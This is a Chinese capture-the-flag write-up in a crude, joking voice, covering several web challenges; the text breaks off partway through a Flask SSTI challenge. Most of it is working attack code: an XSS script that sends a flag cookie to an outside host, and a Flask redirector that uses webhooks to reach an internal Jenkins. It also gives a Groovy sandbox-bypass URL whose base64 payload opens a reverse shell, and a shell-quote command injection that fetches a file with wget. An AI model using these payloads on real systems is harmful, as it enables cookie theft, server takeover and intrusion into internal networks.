写在前面
呜呜呜,shanhegiegie 太猛了,打了一天懒猫,第二天还要上课,周六补课,是谁啊,原来是👴啊,那没事了 (nmsl).
参考:
https://wm-ctf-team.feishu.cn/docx/PLbbdhwdyoAefuxokXwcYppzn1c
微信公众平台 (qq.com)
 easy latex
 new URL 特性😂
先来个小 demo
| 12
 3
 4
 
 | const username = "43.143.192.19:1145"const vip_url = "http://vip:5000/"
 
 console.log(new URL(username,vip_url))
 
 | 

如此,pathname 是我们的第一个参数,host 是我们的第二个参数.
倘若我第一个参数前面加 \\ 或是 //, 阁下又当如何应对😓.
| 12
 3
 4
 5
 
 | const username = "\\\\43.143.192.19:1145"
 const vip_url = "http://vip:5000/"
 
 console.log(new URL(username,vip_url))
 
 | 

喜欢我绕过污染 host 吗😛
 运用到题目🤪
不多 bb, 源码鉴赏一波
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | app.get('/preview', (req, res) => {let { tex, theme } = req.query
 if (!tex) {
 tex = 'Today is \\today.'
 }
 const nonce = getNonce(16)
 let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
 if (theme) {
 base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
 }
 res.render('preview.html', { tex, nonce, base })
 })
 
 | 
我直接 theme 上放入我的 vps, 远程加载奥西给

经一格德拉米的测试😤,wcsndm, 就算啥路径都不加他都会访问 /js/base.js, 这很不自由🤔.
没关系,直接在 vps 起一个一模一样的 emoji,👴真是个天才.
/var/www/html/base/base.js 放上这个代码,测试一波,让我狠狠地测!!!🥵

欧内的手,好汉,奥西给,爽的雅痞,比🐍出来还爽.
 visit 触发
不多 bb, 上源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | app.get('/share/:id', reportLimiter, async (req, res) => {const { id } = req.params
 if (!id) {
 res.send('no note id specified')
 return
 }
 const url = `http://localhost:${PORT}/note/${id}`
 try {
 await visit(url)
 res.send('done')
 } catch (e) {
 console.log(e)
 res.send('something error')
 }
 })
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | const visit = async (url) => {console.log(`start: ${url}`)
 const browser = await puppeteer.launch({
 headless: 'new',
 executablePath: '/usr/bin/google-chrome-stable',
 args: ['--no-sandbox'],
 })
 
 const ctx = await browser.createIncognitoBrowserContext();
 try{
 const page = await ctx.newPage();
 await page.setCookie({
 name: 'flag',
 value: FLAG,
 domain: `${APP_HOST}:${APP_PORT}`,
 httpOnly: true
 })
 await page.goto(url, {timeout: 5000})
 await sleep(3000)
 await page.close()
 }catch(e){
 console.log(e);
 }
 await ctx.close();
 await browser.close()
 console.log(`done: ${url}`)
 }
 
 | 
那么众所周知,visit 就是能够自行打开浏览器并且访问,不知道的话上网查,别问👴.
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | app.post('/vip', auth, async (req, res) => {let username = req.session.username
 let { code } = req.body
 let vip_url = VIP_URL
 let data = await (await fetch(new URL(username, vip_url), {
 method: 'POST',
 headers: {
 Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
 },
 body: new URLSearchParams({ code })
 })).text()
 if ('ok' == data) {
 res.cookie('token', sign({ username, isVip: true }))
 res.send('Congratulation! You are VIP now.')
 } else {
 res.send(data)
 }
 })
 
 | 
而这个 visit, 打开浏览器访问,🍪里面是携带着 flag, 所以👴要拿到这个🍪.
但是 flag 不一定能够传来,而 vip 路由能够强制让 Cookie 携带就很好✌
不过直接访问是拿不到的,怎么办捏,xss 过来!
| 1
 | /share路由new url访问->/preview路由进行new url xss->加载vps恶意js->以带🍪的身份访问/login和/vip,触发vip的fetch访问->将🍪数据转到xss平台.
 | 
使用 urlencode
| 12
 
 | /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%61%77%64%61%64%61%77%64%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%34%33%2e%31%39%32%2e%31%39%3a%31%31%34%35/share/../preview?tex=awdadawd&theme=
 
 | 
目录穿越大法访问 preview, 至于为啥用 url 编码,因为是接在路径之后的,容易被解析成路径而不是传递的参数.
js 上放丶东西
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | const login = '/login';const vip = '/vip';
 const loginreq = new URLSearchParams({
 username: '//z08vedyv.requestrepo.com',
 password: '7bbf4ac9596b5662b44db993bd8050dd',
 });
 const changshu = {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded',
 },
 body: loginreq,
 };
 
 async function evil() {
 try {
 const loginrep = await fetch(login, changshu);
 if (loginrep.ok) {
 const vipResponse = await fetch(vip, {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded',
 },
 body: new URLSearchParams({ code: "awdawdwadwadwadwa" }),
 credentials: 'include',
 });
 
 } else {
 
 }
 } catch (error) {
 console.error(error);
 }
 }
 
 evil();
 
 
 | 
👴爱使用 Dashboard - requestrepo.com 收 cookies
cnm 不好用,还是 vps 得劲

eeeeeeeeeeeeeeez, もろいもろい。
最後の exp 改
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | const login = '/login';const vip = '/vip';
 const loginreq = new URLSearchParams({
 username: '//43.143.192.19:7777',
 password: '9aaf577e773320b3548fdc5f37aa6e74'
 });
 const changshu = {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded',
 },
 body: loginreq,
 };
 
 async function evil() {
 try {
 const loginrep = await fetch(login, changshu);
 if (loginrep.ok) {
 const vipResponse = await fetch(vip, {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded',
 },
 body: new URLSearchParams({ code: "awdawdwadwadwadwa" }),
 credentials: 'include',
 });
 
 } else {
 
 }
 } catch (error) {
 console.error(error);
 }
 }
 
 evil();
 
 
 | 
现在,👴就是新世界の卡密.
 hooks
https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/
 what is webhook🤔
Webhook 是一种通过 HTTP 协议实现的回调机制,用于将实时事件和数据从一个应用程序传递到另一个应用程序。Webhook 允许应用程序在特定事件发生时自动通知其他应用程序,这种通知是通过 HTTP POST 请求进行的。它是一种用于实现实时通信和数据传递的轻量级机制。
以下是 Webhook 的主要特点和用途:
事件驱动通知: Webhook 主要用于事件驱动的通知,例如新的订单、新的消息、状态更改等。当特定事件发生时,源应用程序将发送 HTTP POST 请求到目标应用程序的 Webhook URL,通知目标应用程序进行响应。
实时性: Webhook 通常具有低延迟,因为它们是即时触发的。当事件发生时,通知立即发送,而不需要轮询或定期检查。
自动化: Webhook 允许自动化处理事件和数据,减少了手动干预的需要。这对于集成不同应用程序、自动化工作流程和提高效率非常有用。
扩展性: Webhook 可以与各种不同类型的应用程序和服务集成,使其具有很高的灵活性和扩展性。
数据传递: Webhook 可以传递各种数据格式,包括 JSON、XML、表单数据等,这使得它们适用于多种应用场景。
重点🤪:webhook 只允许我们发送 POST 请求,没法控制请求的 body, 甚至没有 csrf 的 token😓
 Abusing Jenkins login
不说人话:
Jenkins 是一个开源的自动化服务器,用于构建、测试和部署软件项目。它提供了一个灵活的平台,使团队能够自动化整个软件开发过程中的各种任务。以下是 Jenkins 的主要特点和用途:
持续集成 (CI) 和持续交付 (CD): Jenkins 通过自动化构建和测试过程,支持持续集成和持续交付,使团队能够频繁地、可靠地交付软件。
插件生态系统: Jenkins 具有强大的插件生态系统,允许用户轻松地扩展其功能。有数千个可用的插件,用于与各种工具和技术进行集成。
分布式构建: Jenkins 支持分布式构建,可以将构建任务分发到多个构建代理 (Nodes),以提高构建性能和可扩展性。
自动化部署: Jenkins 可以与各种部署工具和云平台集成,支持自动化部署到不同环境,包括开发、测试和生产环境。
可视化界面: Jenkins 提供直观的 Web 用户界面,用于管理构建任务、查看构建历史和生成报告。
多种构建工具支持: Jenkins 可以与各种构建工具集成,包括 Apache Ant、Maven、Gradle 等。
多语言支持: Jenkins 支持多种编程语言和技术栈,使其适用于各种项目。
安全性和权限控制: Jenkins 具有强大的安全性和权限控制功能,可以管理用户和角色的访问权限。
日志记录和报告: Jenkins 生成详细的构建日志和报告,以便诊断问题和追踪构建进度。
活跃的社区和支持: Jenkins 是一个开源项目,有一个活跃的社区,提供支持、文档和插件。
说人话:👴也不知道
一种绕过它们的方法,从登录页面开始。我们可以尝试暴力破解用户凭据,因为 Jenkins 用户在其自己的用户数据库中进行管理,或者使用其他缺乏基本保护(例如密码策略或针对自动化的保护)的用户管理方法,这是很常见的。(机翻,👴看不懂🐏文)
总而言之就是,通过 github 或 gitlab 的 webhooks 经过 python 中转,打到题目的内网.
👴真 tm 是个 sb, 看个文章没看全,把一部分 exp 拿去打,死活打不通,后来问⛰🌊giegie, 才知道要通过 python 写个重定向中转才能有回显,说是有视频演示,👴tm🐇了,没这么 sb 吧,阿米诺斯.
 开打😤
| 12
 3
 4
 5
 6
 7
 
 | from flask import Flask,redirectapp = Flask(__name__)
 @app.route('/evil', methods=['POST'])
 def evil():
 return redirect("http://124.70.33.170:8088/redirect?redirect_url=http://jenkins:8080/",code=302)
 if __name__ == '__main__':
 app.run(host='0.0.0.0', port=7777)
 
 | 


| 12
 3
 4
 5
 6
 
 | <!DOCTYPE html><html><head resURL="/static/e1c81722" data-rooturl="" data-resurl="/static/e1c81722">
 
 <title>Dashboard [Jenkins]</title><link rel="stylesheet" href="/static/e1c81722/css/layout-common.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/style.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/color.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/responsive-grid.css" type="text/css" /><link rel="shortcut icon" href="/static/e1c81722/favicon.ico" type="image/vnd.microsoft.icon" /><link color="black" rel="mask-icon" href="/images/mask-icon.svg" /><script>var isRunAsTest=false; var rootURL=""; var resURL="/static/e1c81722";</script><script src="/static/e1c81722/scripts/prototype.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/behavior.js" type="text/javascript"></script><script src='/adjuncts/e1c81722/org/kohsuke/stapler/bind.js' type='text/javascript'></script><script src="/static/e1c81722/scripts/yui/yahoo/yahoo-min.js"></script><script src="/static/e1c81722/scripts/yui/dom/dom-min.js"></script><script src="/static/e1c81722/scripts/yui/event/event-min.js"></script><script src="/static/e1c81722/scripts/yui/animation/animation-min.js"></script><script src="/static/e1c81722/scripts/yui/dragdrop/dragdrop-min.js"></script><script src="/static/e1c81722/scripts/yui/container/container-min.js"></script><script src="/static/e1c81722/scripts/yui/connection/connection-min.js"></script><script src="/static/e1c81722/scripts/yui/datasource/datasource-min.js"></script><script src="/static/e1c81722/scripts/yui/autocomplete/autocomplete-min.js"></script><script src="/static/e1c81722/scripts/yui/menu/menu-min.js"></script><script src="/static/e1c81722/scripts/yui/element/element-min.js"></script><script src="/static/e1c81722/scripts/yui/button/button-min.js"></script><script src="/static/e1c81722/scripts/yui/storage/storage-min.js"></script><script src="/static/e1c81722/scripts/hudson-behavior.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/sortable.js" type="text/javascript"></script><script>crumb.init("", "");</script><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/assets/skins/sam/skin.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/skins/sam/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/button/assets/skins/sam/button.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/menu/assets/skins/sam/menu.css" type="text/css" /><link rel="search" href="/opensearch.xml" type="application/opensearchdescription+xml" title="Jenkins" /><meta name="ROBOTS" content="INDEX,NOFOLLOW" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="alternate" href="/rssAll" title="Jenkins:all (all builds)" type="application/rss+xml" /><link rel="alternate" href="/rssAll?flavor=rss20" title="Jenkins:all (all builds) (RSS 2.0)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed" title="Jenkins:all (failed builds)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed?flavor=rss20" title="Jenkins:all (failed builds) (RSS 2.0)" type="application/rss+xml" /><script src="/static/e1c81722/scripts/yui/cookie/cookie-min.js"></script><script>
 YAHOO.util.Cookie.set("screenResolution", screen.width+"x"+screen.height);
 </script><script src="/static/e1c81722/jsbundles/page-init.js" type="text/javascript"></script></head><body data-model-type="hudson.model.AllView" id="jenkins" class="yui-skin-sam two-column jenkins-2.138" data-version="2.138"><a href="#skip2content" class="skiplink">Skip to content</a><div id="page-head"><div id="header"><div class="logo"><a id="jenkins-home-link" href="/"><img src="/static/e1c81722/images/headshot.png" alt="[Jenkins]" id="jenkins-head-icon" /><img src="/static/e1c81722/images/title.png" alt="Jenkins" width="139" id="jenkins-name-icon" height="34" /></a></div><div class="login"> <a href="/login?from=%2F"><b>log in</b></a></div><div class="searchbox hidden-xs"><form method="get" name="search" action="/search/" style="position:relative;" class="no-json"><div id="search-box-minWidth"></div><div id="search-box-sizer"></div><div id="searchform"><input name="q" placeholder="search" id="search-box" class="has-default-text" /> <a href="https://jenkins.io/redirect/search-box"><img src="/static/e1c81722/images/16x16/help.png" style="width: 16px; height: 16px; " class="icon-help icon-sm" /></a><div id="search-box-completion"></div><script>createSearchBox("/search/");</script></div></form></div></div><div id="breadcrumbBar"><tr id="top-nav"><td id="left-top-nav" colspan="2"><link rel='stylesheet' href='/adjuncts/e1c81722/lib/layout/breadcrumbs.css' type='text/css' /><script src='/adjuncts/e1c81722/lib/layout/breadcrumbs.js' type='text/javascript'></script><div class="top-sticker noedge"><div class="top-sticker-inner"><div id="right-top-nav"><div id="right-top-nav"><div class="smallfont"><a href="?auto_refresh=true">ENABLE AUTO REFRESH</a></div></div></div><ul id="breadcrumbs"><li class="item"><a href="/" class="model-link inside">Jenkins</a></li><li href="/" class="children"></li></ul><div id="breadcrumb-menu-target"></div></div></div></td></tr></div></div><div id="page-body" class="clear"><div id="side-panel"><div id="tasks"><div class="task"><a href="/asynchPeople/" class="task-icon-link"><img src="/static/e1c81722/images/24x24/user.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-user icon-md" /></a> <a href="/asynchPeople/" class="task-link">People</a></div><div class="task"><a href="/view/all/builds" class="task-icon-link"><img src="/static/e1c81722/images/24x24/notepad.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-notepad icon-md" /></a> <a href="/view/all/builds" class="task-link">Build History</a></div><div class="task"><a href="/credentials" class="task-icon-link"><img src="/static/e1c81722/plugin/credentials/images/24x24/credentials.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-credentials-credentials icon-md" /></a> <a href="/credentials" class="task-link">Credentials</a></div></div><div id="buildQueue" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=buildQueue" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a>Build Queue</div></div><div class="row pane-content"><table class="pane "><script src='/adjuncts/e1c81722/lib/form/link/link.js' type='text/javascript'></script><tr><td class="pane" colspan="2">No builds in the queue.</td></tr></table></div></div><script defer="defer">refreshPart('buildQueue',"/ajaxBuildQueue");</script><div id="executors" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=executors" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a><a href='/computer/'>Build Executor Status</a></div></div><div class="row pane-content"><table class="pane "><colgroup><col width="30" /><col width="200*" /><col width="24" /></colgroup><tr></tr><tr><td class="pane" align="right" style="vertical-align: top">1</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr><tr><td class="pane" align="right" style="vertical-align: top">2</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr></table></div></div><script defer="defer">refreshPart('executors',"/ajaxExecutors");</script></div><div id="main-panel"><a name="skip
 
 | 
看到 jenkins 版本为 2.138, 别问👴怎么看到的,你咋那么多事呢😡
https://www.cnblogs.com/cute-puli/p/15378440.html
| 1
 | http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}
 | 
打这个命令
| 1
 | http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDMuMTkyLjE5LzExNDUgMD4mMQ==}|{base64,-d}|{bash,-i}".execute()}}
 | 
先把 value 的值 url 编码,然后把整个重定向网址 url 编码,
| 1
 | http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%20%20%20%20%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4d%79%34%78%4e%44%4d%75%4d%54%6b%79%4c%6a%45%35%4c%7a%45%78%4e%44%55%67%4d%44%34%6d%4d%51%3d%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%2e%65%78%65%63%75%74%65%28%29%0a%20%20%7d%0a%7d
 | 
| 1
 | %68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64
 | 
最终 exp,👴の最後のエクスプロイト (exloit)
| 12
 3
 4
 5
 6
 7
 
 | from flask import Flask,redirectapp = Flask(__name__)
 @app.route('/evil', methods=['POST'])
 def evil():
 return redirect("http://124.70.33.170:8088/redirect?redirect_url=%68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64",code=302)
 if __name__ == '__main__':
 app.run(host='0.0.0.0', port=7777)
 
 | 

哈哈哈哈哈!欺骗世界这种事情,对于👴来说,简直小菜一碟.
わたしは強い あなたたちより強い!
这一切都是命运石之门的选择!
 ~Ave Mujica’s Masquerade~
「お幸せに」, 希啊哇赛你妹的,👴很😡😡.
 源码,冲😓
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | app.get('/checker', (req, res) => {let url = req.query.url;
 
 if (url) {
 
 let host;
 let port;
 
 
 if (url.includes(":")) {
 const parts = url.split(":");
 host = parts[0];
 port = parts.slice(1).join(":");
 } else {
 host = url;
 }
 if (port) {
 command = shellQuote.quote(["nmap", "-p", port, host]);
 } else {
 command = shellQuote.quote(["nmap", "-p", "80", host]);
 }
 nmap = spawn("bash", ["-c", command]);
 console.log(command);
 
 nmap.on('exit', function (code) {
 console.log('child process exited with code ' + code.toString());
 if (code !== 0) {
 res.send(`Error executing command!!!`);
 } else {
 res.send(`Ok...`);
 }
 });
 
 } else {
 res.send('No parameter provided.');
 }
 });
 
 | 
不多 bb, 就是打这个 checker 路由.
👴觉得 shellQuote,quote 很陌生,很不对劲,怎么办,搜 exp!
别跟👴说你不会搜,nmd 不要用国内的答辩引擎,上🥁🕊直接:shellQuote exploit
第一个就是了,其它都不好使:Exploiting CVE-2021-42740 (wh0.github.io)
不说人话:shell-quote 包通常用于转义不受信任的输入,以便在 shell 命令中使用。此示例采用不受信任的输入,引用它,并通过一个命令运行它,该命令将其打印出来。我们只希望它返回一个字符串,而不是允许不受信任的输入运行任意命令。假设我们在路径中调用 pwnme 了这个程序,如果它被执行,我们就失败了我们的安全目标:
有点难懂,来个 demo 试一下.
| 1
 | return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');
 | 
最好在虚拟机上用,test.js 如下
| 12
 3
 4
 5
 6
 7
 8
 
 | const childProcess = require('child_process');
 const shellQuote = require('shell-quote');
 
 const untrusted = process.argv[2];
 console.log('untrusted', untrusted);
 const result = childProcess.execSync(shellQuote.quote(['printf', '%s\n', untrusted]));
 console.log('result', result);
 
 | 
| 1
 | node test.js '`:`./pwnme``:`'
 | 
这里的
相当于 untrsuted,👴直接就说了.
pwnme 输入
| 12
 3
 
 | #!/bin/shtouch /tmp/i-am-pwned
 echo "oh no"
 
 | 
输入命令
| 1
 | node test.js '`:`./pwnme``:`'
 | 
直接就能执行 pwnme 里面的内容了
空格被 ban 怎么办,用 $IFS, 别这也要👴教.
你现在明白了怎么绘世了.
| 1
 | command = shellQuote.quote(["nmap", "-p", port, host]);
 | 
现在也就是要控制 port  了
| 1
 | "127.0.0.1:`:`wget$IFS``:`
 | 
$IFS
$9
先下载

报错并无关系,已经执行力.
再执行

芜湖,奥利安费,太 tm 爽了.
👴顺便说一下,用斜杠也能绕过
 story
これは、わたしの物語🤣,wcsndm 题目环境没了,自己本地搭 docker.
不过问题不大,因为👴魔改了一下源码,一样能和题目效果差不多
| 1
 | app.config['SECRET_KEY'] = str(uuid.uuid4())
 | 
为了保证题目密钥的随机性,👴改成了这 b 玩意,👴可太 nb 了
不多 bb, 先上源码,让👴来看看怎么个事😊
 源码🤔
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 
 | def captcha():gen = Captcha(200, 80)
 buf , captcha_text = gen.generate()
 
 session['captcha'] = captcha_text
 return buf.getvalue(), 200, {
 'Content-Type': 'image/png',
 'Content-Length': str(len(buf.getvalue()))
 }
 @app.route('/vip', methods=['POST'])
 def vip():
 captcha = generate_code()
 captcha_user = request.json.get('captcha', '')
 if captcha == captcha_user:
 session['vip'] = True
 return render_template("home.html")
 @app.route('/story', methods=['GET'])
 def story():
 story = session.get('story','')
 if story is not None and story != "":
 tpl = open('templates/story.html', 'r').read()
 return render_template_string(tpl % story)
 return redirect("/")
 @app.route('/write', methods=['POST','GET'])
 def rename():
 if request.method == "GET":
 return redirect('/')
 
 story = request.json.get('story', '')
 if session.get('vip', ''):
 
 if not minic_waf(story):
 session['username'] = ""
 session['vip'] = False
 return jsonify({'status': 'error', 'message': 'no way~~~'})
 
 session['story'] = story
 return jsonify({'status': 'success', 'message': 'success'})
 
 return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400
 
 | 
👴只放了三个路由,不是懒,而是没有必要,你用不着这么多了🤣
很明显,最终利用点就是 story 路由下的 render_template_string, 众所周知,这是 SSTI 的触发点.
但是参数是从 session 里面取出来的,你能伪造吗,那怎么说也得拿到 SECRET_KEY 啊,怎么拿到呢,通过 stroy 路由 ssti拿到,那我怎么 ssti, 先伪造 session, 那我怎么伪造 session, 先拿到 SECRET_KEY, 那我怎么拿到 SCECRET_KEY 呢,先 ssti…
坑爹呢!这是,😓(bushi)
好吧,正解其实是:
通过 write 路由写 session 的 story, 但是 write 路由利用有个条件,要伪造 vip, 那怎么伪造 vip, 那必然是先拿到 SECRET_KEY… 我说婷婷,打住,没完了是吧🤪.
vip 路由下能够让我们 session 中的 vip 为 true
| 12
 3
 4
 5
 6
 7
 
 | def vip():captcha = generate_code()
 captcha_user = request.json.get('captcha', '')
 if captcha == captcha_user:
 session['vip'] = True
 return render_template("home.html")
 @app.route('/story', methods=['GET'])
 
 | 
不过条件是 generate_code 等于传入的 captcha, 而 generate_code 的生成逻辑是随机的四位,而且每访问一次都会变,直接爆破的人建议魔法披风.
我看看这个 captcha 的生成是怎么个事
| 12
 3
 
 | def generate_code(length: int = 4):characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 return ''.join(random.choice(characters) for _ in range(length))
 
 | 
这玩个 p 啊,随机生成,我看看这个 class 怎么个事
| 12
 3
 4
 5
 6
